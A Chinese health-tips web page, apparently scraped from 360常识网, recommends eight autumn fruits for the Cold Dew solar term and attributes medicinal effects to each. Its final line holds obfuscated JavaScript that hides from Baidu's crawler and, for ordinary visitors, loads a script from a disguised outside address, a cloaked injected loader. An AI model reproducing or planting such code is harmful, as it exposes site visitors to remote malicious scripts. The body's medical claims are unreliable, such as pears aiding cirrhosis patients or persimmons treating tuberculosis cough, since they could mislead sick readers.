當(dāng)前位置:首頁 > 飲食 > 健康飲食 > 正文

寒露時(shí)節(jié)吃什么水果好

2016-07-20 08:24:37  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:梨是寒露節(jié)氣中必不可少的水果,并且在這個(gè)時(shí)候梨也會(huì)大量上市。梨含有蛋白質(zhì)、脂肪、糖、粗纖維、鈣、鐵等物質(zhì),具有降低血壓、止咳化痰、養(yǎng)血生饑養(yǎng)陰清熱的功效。

寒露時(shí)節(jié)吃什么水果好

寒露時(shí)節(jié)吃什么水果好

寒露時(shí)節(jié)吃什么水果好

由于寒露的到來,萬物逐漸蕭落。在自然界中,陰陽之氣開始轉(zhuǎn)變,陽氣漸退,陰氣漸生,我們?nèi)梭w的生理活動(dòng)也要適應(yīng)自然界的變化,以確保體內(nèi)的生理平衡。

1、柑橘

柑橘一般在秋季大量上市,它不但酸甜可口,還有很高的藥用價(jià)值。柑橘性涼,味甘、酸;具有有生津止咳、潤肺化痰等功效,適用于身體虛弱、熱病后津液不足、傷酒煩渴等癥,治療肺熱咳嗽尤佳。

維生素B1對神經(jīng)系統(tǒng)的信號(hào)傳導(dǎo)具有重要作用。而在秋季盛產(chǎn)的水果當(dāng)中,柑橘的維生素B1含量最高。此外,柑橘的果實(shí)、果皮、果核以及根等都有不同的藥理作用。

2、葡萄

中國古代醫(yī)學(xué)典籍對葡萄的功效已有記載。葡萄性平、味甘、酸,入肺、脾、腎經(jīng)?!兜崮媳静荨贩Q其“大補(bǔ)氣血,舒筋活絡(luò)”?!峨S息居飲食譜》認(rèn)為它“補(bǔ)氣、滋腎液、益肝陰、止渴”?!蛾懘ū静荨酚涊d:能“滋養(yǎng)強(qiáng)壯、補(bǔ)血、強(qiáng)心利尿、冶腰痛、精神疲憊。”

葡萄含糖量達(dá)8%-10%,還含有蛋白質(zhì)、脂肪、粗纖維、多種無機(jī)鹽、維生素和礦物質(zhì)。此外,葡萄含有人體所需的十多種氨基酸及果酸。常食葡萄,對神經(jīng)衰弱和過度疲勞均有補(bǔ)益作用,可幫助血液循環(huán)。

3、梨

梨是寒露節(jié)氣中必不可少的水果,并且在這個(gè)時(shí)候梨也會(huì)大量上市。梨含有蛋白質(zhì)、脂肪、糖、粗纖維、鈣、鐵等物質(zhì),具有降低血壓、止咳化痰、養(yǎng)血生饑養(yǎng)陰清熱的功效。

患高血壓、心臟并肝炎、肝硬化的病人,經(jīng)常吃些梨大有益處。高血壓患者,如有頭暈?zāi)垦?、心悸耳鳴者,經(jīng)常吃梨可減輕癥狀。梨含有的糖分和維生素,有保肝和幫助消化的作用。對于肝炎、肝硬化患者來說,有很好的食療效果。

4、香蕉

香蕉是著名的“安眠”水果,它含有豐富的蛋白質(zhì)、糖類、維生素A、磷、鉀、維生素C和纖維素。因?yàn)橄憬端姆核岬瘸煞质侨梭w的“開心激素”,能夠減輕壓力,解除憂愁。因而歐洲人將其稱為“快樂水果”。

5、蘋果

蘋果有“智慧果”、“記憶果”的美稱。多吃蘋果有增進(jìn)記憶、提高智力的效果。蘋果不僅含有多種大腦必需的營養(yǎng)素,而且更重要的是富含鋅元素。鋅是人體內(nèi)許多重要酶的組成部分,是促進(jìn)生長發(fā)育的關(guān)鍵元素。

鋅通過酶廣泛參與體內(nèi)蛋白質(zhì)、脂肪和糖的代謝。鋅還是構(gòu)成與記憶力息息相關(guān)的核酸與蛋白質(zhì)的必不可少的元素。實(shí)驗(yàn)證明,減少食物中的鋅,幼童的記憶力和學(xué)習(xí)能力受到嚴(yán)重障礙。鋅還與產(chǎn)生抗體、提高人體免疫力等有密切關(guān)系。

6、柚子

柚子性寒、味酸,可化痰止咳、健胃消食、消腫止痛,適用于胃并消化不良、痰多氣喘等癥。柚子以富含維生素C聞名,其所含的有機(jī)酸,大部分為枸櫞酸,而枸櫞酸具有消除人體疲勞的作用。有益于心血管病及肥胖病患者食用。

7、柿子

柿子具有潤肺止咳、清熱生津、化痰軟堅(jiān)的功效。鮮柿生食,對肺癆咳嗽、咳嗽痰多、虛勞咯血等癥有良效。紅軟熟柿,可治療熱病煩渴、口干唇爛、熱痢等癥。

8、石榴

石榴性溫、味甘、澀,入肺、腎、大腸經(jīng)。石榴的營養(yǎng)特別豐富,果實(shí)中含有維生素C、維生素B、有機(jī)酸、蛋白質(zhì)以及鈣、磷、鉀等礦物質(zhì)。具有助消化、軟化血管、降脂降糖等多種功效。

石榴可謂全身是寶,果皮、根、花皆可入藥。其果皮中含有蘋果酸、鞣質(zhì)、生物堿等成分,有明顯的抑菌和收斂功能,能有效地治療腹瀉、痢疾等癥。石榴花則有止血功能,且石榴花泡水洗眼,還有明目的效果。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}